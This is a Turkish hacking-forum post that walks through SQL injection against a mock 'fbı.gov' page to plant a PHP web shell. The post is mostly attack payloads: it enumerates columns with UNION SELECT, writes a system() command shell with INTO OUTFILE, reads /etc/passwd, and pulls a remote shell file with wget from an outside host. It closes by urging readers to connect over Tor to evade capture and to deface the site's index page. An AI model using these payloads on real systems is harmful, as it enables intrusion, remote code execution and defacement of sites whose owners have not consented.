SQl injection ve Shell upload /Spyteam (1 Viewer)

Grayman

#Zarar verme Psikolejisi. ~
Joined
Feb 5, 2017
Credits
0
Rating - 0%
Selamun Aleyküm arkadaşlar SQl injection ile Shell nasıl uploadlarız onu anlatacağım. /Döküman 7-8 yıllık dökümandır. Farklı bir tekniktir.

Sql injection yaygın ve en bilindik açık türüdür. Bu açıkla bir çok işlem yapılabilir bunlardan biride admin panele ihtiyaç duymadan shell atılabilinmesidir.
Önce sQl injction uygulayacağımız bir site seçelim

Örn site;
PHP:
www.fbı.gov/

departmen.php?id= Adında bir sayfası olduğunu var sayarak Örnek sitemize entegre ediyoruz.

PHP:
www.fbı.gov/departhmens.php?id=

Hedef sitemize rastgele bir değer atayalım.

PHP:
www.fbı.gov/departhmens.php?id=5

Tırnak işareti koyarak atağımızı yapıyoruz.

Code:
www.fbı.gov/departhmens.php?id=5'

Hatamız geldi;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and page_type = 'menu' ORDER BY priority' at line 3
Kolon sayılarını bulduk varsayalım 5 tane kolon sayımız var Bizim Aradığımız 3'cü olan.


PHP:
www.fbı.gov/departhmens.php?id=-3 union select 1,2,3,4,5--

Önce versiyonuna ardından Database ve User'e bakıyoruz.3'cü kolon üzerinden yürüyeceğiz.

PHP:
www.fbı.gov/departhmens.php?id=-3 union select 1,2,version(),4,5--

Yazdık ve ekrana 5.1.73-cll değeri geldi. Ardından database adını öğreniyoruz.

Ekrana federal_bureau değeri geldi.

PHP:
www.fbı.gov/departhmens.php?id=-3 union select 1,2,user(),4,5--

Federal_bureau@FBI değerinin geldiğini varsayıyoruz.Ve işleme devam ediyoruz.
Elimizde gerekli bilgiler oluştu file_priv komutunu kullanıyoruz.

PHP:
www.fbı.gov/departhmens.php?id=-3 union select 1,2,file_priv,4,5 mysql.user where='Federal_Bureau'--

Federal_bureau'nun database olduğunu anlattık.Şuan yapacağımız işlem SQl hatası verdirip dizinimizi öğrenmek.

Dizinimizin bu şekilde olduğunu varsayıyorum ve devam ediyorum.

PHP:
/var/home/www/FBI/httpdoc/departhmens.php

-

PHP:
www.fbı.gov/departhmens.php?id=-3 union select 1,2,<?system($_REQUEST['cmd']);?>",4,5

into outfile '/var/home/www/FBI/httpdoc/departhmens.php'--

Dizinimize gelip kod yazıyoruz.

PHP:
www.fbı.gov/departhmens.php?id= cat/etc/passwd

Yazdık ve Ekrana pwd'ler geldiyse işlemimiz başarılı olmuş demektir. Her hangi bir siteden wget komutu ile çekebiliriz :)

Geldik wget komutuyla shelimizi çekmeye :)

PHP:
www.fbı.gov/departhmens.php?id= wget spyhackerz.com/sadri.txt

Evet.. wget komutu ile wget spyhackerz.com/sadri.txt adresimizden shelli çektik ve uzantısını değiştireceğiz


PHP:
www.fbı.gov/departhmens.php?id= mv sadri.txt Sadri.php

Şeklinde değiştiriyoruz. ve Shellimize bağlanıyoruz :)


PHP:
www.fbı.gov/Sadri.php
Her şey bu kadar. Yakalarlar ise çukerler :D Tor ağı üzerinden bağlanın :D shell patlamadan indexi çakın :D

Selametle
Grayman
 

Users who are viewing this thread

Top